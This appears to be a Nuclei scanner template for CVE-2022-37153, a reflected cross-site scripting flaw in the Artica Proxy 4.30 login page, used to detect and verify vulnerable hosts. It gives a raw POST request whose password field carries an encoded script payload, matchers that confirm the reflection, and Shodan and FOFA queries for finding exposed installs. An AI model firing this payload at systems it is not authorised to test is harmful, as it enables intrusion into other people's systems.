Artica Proxy 4.30.000000 - Cross-Site Scripting

id: CVE-2022-37153

info:
  name: Artica Proxy 4.30.000000 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Artica Proxy 4.30.000000 contains a cross-site scripting vulnerability via the password parameter in /fw.login.php.
  impact: |
    Attackers can inject malicious JavaScript through the password parameter in the Artica Proxy login page that reflects back to users, potentially stealing credentials or session tokens when victims submit the login form.
  remediation: |
    Upgrade to a patched version of Artica Proxy or apply the vendor-supplied patch to mitigate the vulnerability.
  reference:
    - https://github.com/Fjowel/CVE-2022-37153
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37153
    - https://github.com/SYRTI/POC_to_review
    - https://github.com/WhooAmii/POC_to_review
    - https://github.com/k0mi-tg/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-37153
    cwe-id: CWE-79
    epss-score: 0.01393
    epss-percentile: 0.6901
    cpe: cpe:2.3:a:articatech:artica_proxy:4.30.000000:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: articatech
    product: artica_proxy
    shodan-query:
      - http.html:"Artica"
      - http.html:"artica"
    fofa-query: body="artica"
  tags: cve,cve2022,xss,artica,articatech,vkev,vuln

http:
  - raw:
      - |
        POST /fw.login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        userfont=&artica-language=&StandardDropDown=&HTMLTITLE=&username=admin&password=admin%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Password" value="admin"><script>alert(document.domain)</script>'
          - 'Artica Web'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009254f92491fe97478f95a1006ff8e190148d7a8109fa277486ea381d3b494706022100d9ce1c7a9f8e52de6d885f5edfc311a15913ba445c950f28b8f034503f3dae11:922c64590222798bb761d5b6d8e72950